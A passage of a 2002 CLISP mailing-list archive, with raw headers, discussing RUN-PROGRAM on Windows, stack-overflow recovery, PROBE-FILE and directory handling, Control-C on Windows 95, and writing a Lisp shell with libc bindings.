clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Feb 26 11:38:31 2002 X-Original-Date: 26 Feb 2002 14:34:11 -0500 > * In message <32786300104BD311AC7E00508B6707D0D1A489@nel-exchange.ad.lifesciences.rutgers.edu> > * On the subject of "[clisp-list] FW: Q: problem with RUN-PROGRAM and EXECUTE in Win32" > * Sent on Tue, 26 Feb 2002 08:55:43 -0500 > * Honorable Matise@nel-exchange.Rutgers.Edu writes: > > > > > Also: (run-program "dir" :indirect t) does not work and returns "INDIRECT > > is illegal for RUN-PROGRAM" error message. > > > Given this, please be more proactive. DESCRIBE will give you the list of acceptable keywords. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! There is Truth, and its value is T. Or just non-NIL. So 0 is True! From william.newman@airmail.net Tue Feb 26 17:56:45 2002 Received: from mx6.airmail.net ([209.196.77.103]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16ftKm-00005Q-00 for ; Tue, 26 Feb 2002 17:56:44 -0800 Received: from covert.black-ring.iadfw.net ([209.196.123.142]) by mx6.airmail.net with smtp (Exim 3.33 #1) id 16ftKn-000COF-00 for clisp-list@sourceforge.net; Tue, 26 Feb 2002 19:56:45 -0600 Received: from balefire.localdomain from [207.136.53.125] by covert.black-ring.iadfw.net (/\##/\ Smail3.1.30.16 #30.55) with esmtp for sender: id ; Tue, 26 Feb 2002 19:56:52 -0600 (CST) Received: (from newman@localhost) by balefire.localdomain (8.11.3/8.11.3) id g1R1gYk06310; Tue, 26 Feb 2002 19:42:34 -0600 (CST) From: William Harold Newman To: clisp-list@sourceforge.net Subject: Re: [clisp-list] stack overflow -> into debugger? Message-ID: <20020227014234.GA6969@balefire.localdomain> References: <87elj9jwz8.fsf@yahoo.com> <4nbseci3fq.fsf@rtp.ericsson.se> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <4nbseci3fq.fsf@rtp.ericsson.se> User-Agent: Mutt/1.3.25i Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Feb 26 17:57:02 2002 X-Original-Date: Tue, 26 Feb 2002 19:42:34 -0600 On Tue, Feb 26, 2002 at 12:00:09PM -0500, Raymond Toy wrote: > >>>>> "Sam" == Sam Steingold writes: > > >> * In message <87elj9jwz8.fsf@yahoo.com> > >> * On the subject of "[clisp-list] stack overflow -> into debugger?" > >> * Sent on 25 Feb 2002 12:24:27 -0500 > >> * Honorable Russell McManus writes: > >> > >> Is there some way to get clisp to drop me into the debugger when I get > >> a stack overflow condition? > > Sam> not really - debugger requires some stack too, and detecting an > Sam> "impending" stack overflow is much more expensive than detecting an > Sam> actual one. > > Just a thought. Have no idea if this would really work. > > Assume that the end of stack is unwriteable memory and that's how > stack overflow is detected. Make the actual stack somewhat smaller > than the allocated space, and make the extra space unwriteable. > > On stack overflow, make the extra space writeable so we actually have > more space. Continue. When you exit the debugger, the extra stack > space is made unwriteable again. If you blow the stack in the > debugger, you lose. I've been thinking of something like this in SBCL, except * not messing around with memory protection, but instead adding runtime checks on entry to functions compiled with high SAFETY, and * starting with some reasonably generous amount of "more space" for debugging, e.g. 1 Mbytes, then allocating half of it at each level of debugger recursion, so you have 500 extra kbytes the first time you screw up, then 250 kbytes the next time, and so forth. > Would this work? Dunno yet. SBCL version 0.7.1.23 (checked in 2002-02-21) compiles %DETECT-STACK-EXHAUSTION calls into functions, but it %DETECT-STACK-EXHAUSTION is just a no-op stub right now, and the associated error-recovery machinery doesn't exist either. I've been working on other things instead of finishing it. (I found the stack overflow bug in my application before I finished the stack-overflow handling in SBCL.:-) -- William Harold Newman "Look on my works, ye Mighty, and despair!" -- Ozymandias, King of Kings PGP key fingerprint 85 CE 1C BA 79 8D 51 8C B9 25 FB EE E0 C3 E5 7C From dagit@engr.orst.edu Tue Feb 26 18:21:45 2002 Received: from engr.orst.edu ([128.193.54.1]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16ftiz-00043J-00 for ; Tue, 26 Feb 2002 18:21:45 -0800 Received: from eel.ENGR.ORST.EDU (eel.ENGR.ORST.EDU [128.193.55.69]) by engr.orst.edu (8.9.3/8.9.3) with ESMTP id SAA25416; Tue, 26 Feb 2002 18:21:44 -0800 (PST) Received: from localhost (dagit@localhost) by eel.ENGR.ORST.EDU (8.9.3/8.9.3) with ESMTP id SAA23876; Tue, 26 Feb 2002 18:21:44 -0800 (PST) From: Jason Dagit To: William Harold Newman cc: Subject: Re: [clisp-list] stack overflow -> into debugger? In-Reply-To: <20020227014234.GA6969@balefire.localdomain> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Feb 26 18:22:03 2002 X-Original-Date: Tue, 26 Feb 2002 18:21:44 -0800 (PST) What about just doing everything on the heap? I know I don't have the best understanding of activation records, but if I'm not mistaken the performance hit isn't signficant and you won't blow the stack, you'll run out of heap :) I know that in cmucl it's much harder to get a stack overflow. Perhaps looking into their code and seeing why this is the case would be a worth while exercise. Just an idea or two, Jason On Tue, 26 Feb 2002, William Harold Newman wrote: > On Tue, Feb 26, 2002 at 12:00:09PM -0500, Raymond Toy wrote: > > >>>>> "Sam" == Sam Steingold writes: > > > > >> * In message <87elj9jwz8.fsf@yahoo.com> > > >> * On the subject of "[clisp-list] stack overflow -> into debugger?" > > >> * Sent on 25 Feb 2002 12:24:27 -0500 > > >> * Honorable Russell McManus writes: > > >> > > >> Is there some way to get clisp to drop me into the debugger when I get > > >> a stack overflow condition? > > > > Sam> not really - debugger requires some stack too, and detecting an > > Sam> "impending" stack overflow is much more expensive than detecting an > > Sam> actual one. > > > > Just a thought. Have no idea if this would really work. > > > > Assume that the end of stack is unwriteable memory and that's how > > stack overflow is detected. Make the actual stack somewhat smaller > > than the allocated space, and make the extra space unwriteable. > > > > On stack overflow, make the extra space writeable so we actually have > > more space. Continue. When you exit the debugger, the extra stack > > space is made unwriteable again. If you blow the stack in the > > debugger, you lose. > > I've been thinking of something like this in SBCL, except > * not messing around with memory protection, but instead adding > runtime checks on entry to functions compiled with high SAFETY, and > * starting with some reasonably generous amount of "more space" for > debugging, e.g. 1 Mbytes, then allocating half of it at each level of > debugger recursion, so you have 500 extra kbytes the first time > you screw up, then 250 kbytes the next time, and so forth. > > > Would this work? > > Dunno yet. SBCL version 0.7.1.23 (checked in 2002-02-21) compiles > %DETECT-STACK-EXHAUSTION calls into functions, but it > %DETECT-STACK-EXHAUSTION is just a no-op stub right now, and the > associated error-recovery machinery doesn't exist either. I've been > working on other things instead of finishing it. (I found the stack > overflow bug in my application before I finished the stack-overflow > handling in SBCL.:-) > > -- > William Harold Newman > "Look on my works, ye Mighty, and despair!" -- Ozymandias, King of Kings > PGP key fingerprint 85 CE 1C BA 79 8D 51 8C B9 25 FB EE E0 C3 E5 7C > > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list > From lin8080@freenet.de Tue Feb 26 19:42:48 2002 Received: from mout0.freenet.de ([194.97.50.131]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16fuzO-0005qI-00 for ; Tue, 26 Feb 2002 19:42:46 -0800 Received: from [194.97.50.136] (helo=mx3.freenet.de) by mout0.freenet.de with esmtp (Exim 3.33 #3) id 16fuzL-00063D-00 for clisp-list@lists.sourceforge.net; Wed, 27 Feb 2002 04:42:43 +0100 Received: from b77ba.pppool.de ([213.7.119.186] helo=freenet.de) by mx3.freenet.de with asmtp (ID lin8080@freenet.de) (Exim 3.33 #3) id 16fuzK-0004h0-00 for clisp-list@lists.sourceforge.net; Wed, 27 Feb 2002 04:42:43 +0100 Message-ID: <3C7C47AB.F58B36F6@freenet.de> From: lin8080 X-Mailer: Mozilla 4.7 [de]C-freenet 4.0 (Win98; I) X-Accept-Language: de,en MIME-Version: 1.0 CC: "clisp-list@lists.sourceforge.net" Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] [clisp-list]FW: Q: problem with RUN-PROGRAM and EXECUT in Win32 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Feb 26 19:43:03 2002 X-Original-Date: Wed, 27 Feb 2002 03:42:51 +0100 Von: Matise@Biology.Rutgers.Edu Hallo > However, (run-program "myexe") does not work and always produces this error message I see no "." in myexe, try (run-program "my.exe") (execute "myprog.exe") works on my CLisp with Win98. The myprog.exe is in the same path as clisp.exe. > Also: (run-program "dir" :indirect t) does not work ... Use ":indirectp " (with p) instead of ":indirect". This makes a dos-like dir on my system. stefan version : (lisp-implementation-version) "2000-03-06 (March 2000)" From peter.wood@worldonline.dk Wed Feb 27 00:18:57 2002 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16fzId-0006In-00 for ; Wed, 27 Feb 2002 00:18:55 -0800 Received: from localhost.localdomain (cpe.atm0-0-0-120180.0x3ef207e9.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id 733A8B51E for ; Wed, 27 Feb 2002 09:18:52 +0100 (CET) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id g1R86ZJ00222; Wed, 27 Feb 2002 09:06:35 +0100 From: Peter Wood To: clisp-list@lists.sourceforge.net Message-ID: <20020227090635.A131@localhost.localdomain> References: <4n664ki2kz.fsf@rtp.ericsson.se> <4nit8jhni7.fsf@rtp.ericsson.se> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from sds@gnu.org on Tue, Feb 26, 2002 at 08:49:04PM -0500 Subject: [clisp-list] Re: proposal: probe-file -- major behavior change Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Feb 27 00:19:04 2002 X-Original-Date: Wed, 27 Feb 2002 09:06:35 +0100 Hi, On Tue, Feb 26, 2002 at 08:49:04PM -0500, Sam Steingold wrote: > > * In message <4nit8jhni7.fsf@rtp.ericsson.se> > > * On the subject of "Re: proposal: probe-file -- major behavior change" > > * Sent on 26 Feb 2002 17:44:16 -0500 > > * Honorable Raymond Toy writes: > > > > >>>>> "Sam" == Sam Steingold writes: > > > > Sam> In CL, there is a big difference between a file and a directory. > > > > But a file is > > > > a named entry in a file system, having an > > implementation-defined nature. > > > > so I'm not sure what the right answer is. I can't find the glossary > > entry for directory. > > on unix, there is really no difference between "/etc" and "/etc/". > in CL, there is difference between #p"/etc" and #p"/etc/" wrt the > values accessors and other functions return. > > > >> So maybe someone really wants to know that /etc exists? > > > > Sam> so how is the user supposed to find out whether /etc is a file or > > Sam> directory? > > Sam> both CLISP and CMUCL have non-portable ways to do that. > > Sam> I propose to make PROBE-FILE useable for that. > > > > I don't know. If CL doesn't specify a way to tell if /etc is a file > > or directory, whatever you do is non-portable, so you might as well > > make it non-portable. > I disagree with this ... > I prefer the occam's razor - do not multiply entities unnecessarily. > if PROBE-FILE can be made to differenciate between the two, why invent > a separate function? > 1) Use #'truename for this purpose. (truename #"/etc") => error, no file named etc (truename #"/ptc") => error, no file named ptc (truename #"/etc/") => #/etc/ 2) Occam's razor is good, but a better principle in this case is that no system should require more information than is neccessary to make a reasonable decision. Give the user leeway *unless* that will result in unreasonable decisions. No browser known to me insists on the trailing slash. 3) Use #'probe-file to see if a file/directory exists and return it's truename, if it does, or NIL otherwise. Then a user can do this: (defun dir? (name) (if (not (or (ignore-errors (truename name)) nil)) (when (probe-file name) t) t)) which is still stupid, but better than what one has to do today to see if a file/directory exists, allowing fair leeway in the designation of the name. (Of course, its easy with the libc6 bindings, and that should raise an alarm.) of course, if you kept #'probe-directory then the user could do: (defun dir? (name) (let ((ford (probe-file name))) (when ford (probe-directory ford)))) Which is prettier, but unportable. IMHO, my suggestion conforms to the spec, and allows a reasonable degree of laxity in the naming of files/directories. According to the spec: (probe-file pathspec) returns the actual name of PATHSPEC otherwise NIL. (truename filespec) returns the actual name of FILESPEC otherwise ERROR. A pathspec or filespec can be (amongst others) a namestring, which can use the standardized notation for logical pathnames (!?!) OR (thank God) an implementation-defined notation for naming a physical pathname. So Clisp can say "common usage of pathnames on Unix is vague, and allows for the ommission or inclusion of a trailing slash, however #'truename implements a stricter interpretation of names, and returns an error if a directory name does not have a trailing slash. Use #'truename if you need to use the strict interpretation to distinguish between directories and files, and use #'probe-file if the vague interpretation is sufficient." Voila :-/ Regards, Peter From seldon@eskimo.com Wed Feb 27 02:00:12 2002 Received: from mx1.eskimo.com ([204.122.16.48]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16g0sd-0003HO-00 for ; Wed, 27 Feb 2002 02:00:11 -0800 Received: from eskimo.com (seldon@eskimo.com [204.122.16.13]) by mx1.eskimo.com (8.9.1a/8.8.8) with ESMTP id CAA32562; Wed, 27 Feb 2002 02:00:05 -0800 From: Will Mengarini Received: (from seldon@localhost) by eskimo.com (8.9.1a/8.9.1) id CAA15209; Wed, 27 Feb 2002 02:00:05 -0800 (PST) Message-Id: <200202271000.CAA15209@eskimo.com> Subject: Re: [clisp-list] Control-C no effect on windows 95? To: rene.de.visser@sap.com (De Visser, Rene) Cc: clisp-list@lists.sourceforge.net ('clisp-list@lists.sourceforge.net') In-Reply-To: from "De Visser, Rene" at Feb 25, 2002 09:47:52 AM X-Mailer: ELM [version 2.5 PL5] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Feb 27 02:01:03 2002 X-Original-Date: Wed, 27 Feb 2002 02:00:04 -0800 (PST) On Mo 25 Feb 2002 "De Visser, Rene" wrote: > CLisp version 2.27 > > On windows 95 (at least on my computer) control-C does not > seem to have any effect. My program continues to execute. > > Is there some function that I can insert into my program that > checks whether control-C has been pressed and then goes into the > debugger? (Or can I change some setting on windows 95 or clisp??) Nobody else has answered this, so I'll try, though it's been a long time since I escaped from Mordorsoft. I vaguely remember that DOS (and therefore effectively also Windows 95) had a BREAK command: BREAK ON => always check for ^C BREAK OFF => only check during user I/O The default was BREAK OFF, so I would always put "BREAK ON" in my autoexec.bat. It might also work inside a DOS Window without rebooting, or inside a batch job that then runs Clisp. -- Will Mengarini One .NET to rule them all, one .NET to find them, one .NET to bring them all and in the darkness bind them! From peter.wood@worldonline.dk Wed Feb 27 02:36:11 2002 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16g1RR-0007Up-00 for ; Wed, 27 Feb 2002 02:36:09 -0800 Received: from localhost.localdomain (cpe.atm0-0-0-120180.0x3ef207e9.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id AB892B54A for ; Wed, 27 Feb 2002 11:36:05 +0100 (CET) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id g1RAJPg00373; Wed, 27 Feb 2002 11:19:25 +0100 From: Peter Wood To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: proposal: probe-file -- major behavior change Message-ID: <20020227111925.B131@localhost.localdomain> References: <4n664ki2kz.fsf@rtp.ericsson.se> <4nit8jhni7.fsf@rtp.ericsson.se> <20020227090635.A131@localhost.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20020227090635.A131@localhost.localdomain>; from peter.wood@worldonline.dk on Wed, Feb 27, 2002 at 09:06:35AM +0100 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Feb 27 02:37:03 2002 X-Original-Date: Wed, 27 Feb 2002 11:19:25 +0100 On Wed, Feb 27, 2002 at 09:06:35AM +0100, I wrote: > > I prefer the occam's razor - do not multiply entities unnecessarily. > > if PROBE-FILE can be made to differenciate between the two, why invent > > a separate function? > > > > 1) Use #'truename for this purpose. > (truename #"/etc") => error, no file named etc > (truename #"/ptc") => error, no file named ptc > (truename #"/etc/") => #/etc/ > > 2) Occam's razor is good, but a better principle in this case is > that no system should require more information than is neccessary > to make a reasonable decision. Give the user leeway *unless* that > will result in unreasonable decisions. No browser known to me > insists on the trailing slash. > > 3) Use #'probe-file to see if a file/directory exists and return it's > truename, if it does, or NIL otherwise. > > Then a user can do this: > > (defun dir? (name) > (if (not (or (ignore-errors (truename name)) nil)) > (when (probe-file name) t) > t)) > > which is still stupid, Very, very stupid, as it won't work. Silly me. Sorry. I have tested the following, where #'exists? does the work which I propose #'probe-file should do... If #'probe-file accepts directories and files, with or without the trailing slash and returns the actual pathname of the file/directory, then one could test for a directory like this: (defun dir? (n) (when (not (pathname-name (probe-file n))) t)) Tested: [50]> (defun dir? (n) (when (not (pathname-name (exists? n))) t)) dir? [51]> (exists? ".inputrc") #P"/home/prw/.inputrc" [52]> (exists? ".dillo") #P".dillo/" [53]> (exists? "/etc") #P"/etc/" [54]> (exists? "/etc/") #P"/etc/" [55]> (exists? "/") #P"/" [56]> (exists? "no") nil [57]> (dir? ".inputrc") nil [58]> (dir? ".dillo") t [59]> (dir? "/etc") t [60]> (dir? "/") t Regards, Peter From william.newman@airmail.net Wed Feb 27 06:16:01 2002 Received: from mx4.airmail.net ([209.196.77.101]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16g4sC-00085z-00 for ; Wed, 27 Feb 2002 06:16:00 -0800 Received: from covert.black-ring.iadfw.net ([209.196.123.142]) by mx4.airmail.net with smtp (Exim 3.33 #1) id 16g4s9-000Bgv-00 for clisp-list@sourceforge.net; Wed, 27 Feb 2002 08:15:57 -0600 Received: from balefire.localdomain from [207.136.47.243] by covert.black-ring.iadfw.net (/\##/\ Smail3.1.30.16 #30.55) with esmtp for sender: id ; Wed, 27 Feb 2002 08:16:06 -0600 (CST) Received: (from newman@localhost) by balefire.localdomain (8.11.3/8.11.3) id g1RE1kU12273; Wed, 27 Feb 2002 08:01:46 -0600 (CST) From: William Harold Newman To: clisp-list@sourceforge.net Subject: Re: [clisp-list] stack overflow -> into debugger? Message-ID: <20020227140146.GC6969@balefire.localdomain> References: <20020227014234.GA6969@balefire.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.25i Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Feb 27 06:17:13 2002 X-Original-Date: Wed, 27 Feb 2002 08:01:46 -0600 On Tue, Feb 26, 2002 at 06:21:44PM -0800, Jason Dagit wrote: > What about just doing everything on the heap? I know I don't have the > best understanding of activation records, but if I'm not mistaken the > performance hit isn't signficant and you won't blow the stack, you'll run > out of heap :) I was under the impression that the performance hit *is* significant in general. In particular, in languages which support Scheme-like CALL/CC (which could be implemented straightforwardly by implementing the stack as a linked list of heap-allocated frames and letting the GC decide when they're no longer used) it seems as though a lot of cleverness is devoted to minimizing the use of the the natural heap-based implementation because it's too slow. Also, it looks to me as though, at least in implementations with conservative GC (like SBCL and CMU CL on the X86), any mechanism for recovering from heap overflow will tend to be messier and less reliable than the proposed mechanism for recovering from stack overflow. > I know that in cmucl it's much harder to get a stack overflow. Perhaps > looking into their code and seeing why this is the case would be a worth > while exercise. I think the default stack in CLISP may be much smaller than in CMU CL or SBCL. I can't find it in the current manual page, but I thought I remembered just a few megabytes for CLISP, while the defaults for CMU CL and SBCL tend to be on the order of 64 megabytes. -- William Harold Newman "Look on my works, ye Mighty, and despair!" -- Ozymandias, King of Kings PGP key fingerprint 85 CE 1C BA 79 8D 51 8C B9 25 FB EE E0 C3 E5 7C From jdoolin@cs.ohiou.edu Wed Feb 27 16:03:59 2002 Received: from oak.cats.ohiou.edu ([132.235.8.44]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16gE39-0004cF-00 for ; Wed, 27 Feb 2002 16:03:55 -0800 Received: from dhcp-166-025.east-green.ohiou.edu (dhcp-166-025.east-green.ohiou.edu [132.235.166.25]) by oak.cats.ohiou.edu (8.12.0.Beta19/8.12.0.Beta19) with ESMTP id g1S02NdK487116 for ; Wed, 27 Feb 2002 19:02:24 -0500 (EST) From: Jeremy Doolin To: clisp-list@lists.sourceforge.net Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-ph3VWcTr8b490dR5UK7H" X-Mailer: Evolution/1.0.1 Message-Id: <1014854608.32240.95.camel@zeus> Mime-Version: 1.0 Subject: [clisp-list] Relatively new to Clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Feb 27 16:04:04 2002 X-Original-Date: 27 Feb 2002 19:03:28 -0500 --=-ph3VWcTr8b490dR5UK7H Content-Type: text/plain Content-Transfer-Encoding: quoted-printable Well, hello to all on this list. I've been messing around with writing a shell in Common Lisp using CLISP. So far I've managed to make pretty good progress. Most of what I've done is basic string processing. So here is what my shell can do: -execute commands, change directory, variables, environment variables, aliases, configurable prompt, evaluate S-expressions and probably a few minor things I can't think of right now. =20 And here is what I'd like it to do: -pipes, I/O redirection, a complete syntax (it will not be bash syntax), and (the hardest part) job control. Here is what is wrong with it so far: I am using the (execute ..) function for executing commands. Regardless if I use this or (run-program ..), my shell is dependent upon another shell. This is rather... disgusting. Now, I'm well aware that Lisp is not an OS level language. But I've noticed that (cd ..) is implemented in CLISP. I can think of no other way this could be implemented than a system call to 'chdir'. So perhaps an 'exec' type function could be implemented in the same way. A 'fork' command would also be helpful. =20 Another problem is when I give the shell an S-expression with an error. For example, (car "foo"). If this happens, the entire shell exits.=20 That's inconvenient. I suppose I could disallow s-expressions, but can you imagine how cool it would be to something like: (+ 2 $FOO) in the shell? Obviously, expressions like this would require me to make my own syntax. =20 So here is what I'm asking:=20 First of all, I'd be perfectly willing to implement an exec command in CLISP. However, I need to know how 'cd' and 'getenv' were done (and where in the source tree). Unless there is another way to do this, of course. =20 Second, I'm looking for advice with any of the other problems/issues I've described. (like pipes and the bad S-expression problem). =20 Also, keep in mind that I've not been programming in Lisp for long. So forgive any obvious ignorance that I've exhibited. I'm perfectly willing to take criticism for things I do wrong, just don't point out "how stupid he is for doing something like that". The reason I say this is that I've had that experience before. =20 Thanks! Jeremy Dolin --=20 May all your disgraces be private --=-ph3VWcTr8b490dR5UK7H Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQA8fXPQB8Bt+2K9+/4RAhVOAJ9PN/B/MaIxeqwb4GjYTHg0B9B6UQCdEabW Nrm4gZRz7qB5zDoFflTQMvE= =mqBd -----END PGP SIGNATURE----- --=-ph3VWcTr8b490dR5UK7H-- From peter.wood@worldonline.dk Thu Feb 28 00:03:16 2002 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16gLX1-0001O4-00 for ; Thu, 28 Feb 2002 00:03:15 -0800 Received: from localhost.localdomain (cpe.atm0-0-0-120180.0x3ef207e9.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id 832DBB6FF for ; Thu, 28 Feb 2002 09:03:11 +0100 (CET) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id g1S7kHg00233; Thu, 28 Feb 2002 08:46:17 +0100 From: Peter Wood To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Relatively new to Clisp Message-ID: <20020228084617.A134@localhost.localdomain> References: <1014854608.32240.95.camel@zeus> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <1014854608.32240.95.camel@zeus>; from jdoolin@cs.ohiou.edu on Wed, Feb 27, 2002 at 07:03:28PM -0500 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Feb 28 00:04:02 2002 X-Original-Date: Thu, 28 Feb 2002 08:46:17 +0100 Hi, On Wed, Feb 27, 2002 at 07:03:28PM -0500, Jeremy Doolin wrote: > Well, hello to all on this list. > > I've been messing around with writing a shell in Common Lisp using > CLISP. So far I've managed to make pretty good progress. Most of what > I've done is basic string processing. So here is what my shell can do: > Cool. I have been playing around with something similar. > -execute commands, change directory, variables, environment variables, > aliases, configurable prompt, evaluate S-expressions and probably a few > minor things I can't think of right now. > > And here is what I'd like it to do: > > -pipes, I/O redirection, a complete syntax (it will not be bash syntax), > and (the hardest part) job control. > > Here is what is wrong with it so far: > > I am using the (execute ..) function for executing commands. Regardless > if I use this or (run-program ..), my shell is dependent upon another > shell. This is rather... disgusting. Now, I'm well aware that Lisp is > not an OS level language. But I've noticed that (cd ..) is implemented > in CLISP. I can think of no other way this could be implemented than a > system call to 'chdir'. So perhaps an 'exec' type function could be > implemented in the same way. A 'fork' command would also be helpful. > You can do these things with the libc bindings. You don't mention what your OS is, but if you're using Linux or AmigaOs (!) bindings are supplied. The problem with exec is you need a C definition with the correct number of args. linux.lisp includes 3 execlp definitions, so you would be limited to a small number of args. I 'worked around this' by defining a larger number of execlp's in linux.lisp, and on the lisp side have a macro construct the call to the correct execlp. It's ugly and primitive, and your number of args is still limited, so it's pretty unsatisfactory, even though it works. For some reason, wait() and waitpid() are not included in linux.lisp. I asked about this before on clisp-list, but nobody replied. I don't think fork() is useable without wait() so it's a bit strange. I added (def-c-call-out wait (:arguments (empty (c-ptr int))) (:return-type pid_t)) and it seems to work ok. I also added a definition for waitpid(), but I think it will need a wrapper. > Another problem is when I give the shell an S-expression with an error. > For example, (car "foo"). If this happens, the entire shell exits. > That's inconvenient. I suppose I could disallow s-expressions, but can > you imagine how cool it would be to something like: > > (+ 2 $FOO) in the shell? Obviously, expressions like this would > require me to make my own syntax. > I take it your shell is a program Clisp is running? My approach was/is to use Clisp directly, and extend it to provide the needed functionality of a shell. See http://clisp.sourceforge.net/clash.html I abandoned the idea of a read-macro for entering commands, since running programs from execlp is simple enough to not need to pamper the user. You can also define readline functions that insert text 'invisibly', so you can provide the user with the illusion that your shell has two seperate syntaxes. As an example, I have a readline function 'clash-run-wait' which wraps whatever the user has typed in with (runw "....")\n. Where the dots are replaced with the user's input. #'runw calls a macro which builds the call to the appropriate execlp call in the linux package. It forks and waits. The upshot is you can run programs using an identical syntax to Bash, from the user's point of view. > So here is what I'm asking: > > First of all, I'd be perfectly willing to implement an exec command in > CLISP. However, I need to know how 'cd' and 'getenv' were done (and > where in the source tree). Unless there is another way to do this, of > course. getenv is in misc.d. But I would advise you to try the libc bindings first. Good luck :-) > > Second, I'm looking for advice with any of the other problems/issues > I've described. (like pipes and the bad S-expression problem). > Clisp has pipes, but they use the shell (I think). See, impnotes.html#shell. Have fun. Regards, Peter From ibum@hillcountry.net Thu Feb 28 06:41:38 2002 Received: from genesis.hillcountry.net ([207.235.18.194]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16gRkX-0003yx-00 for ; Thu, 28 Feb 2002 06:41:37 -0800 Received: from localhost (hcn40.hillcountry.net [208.246.49.40] (may be forged)) by genesis.hillcountry.net 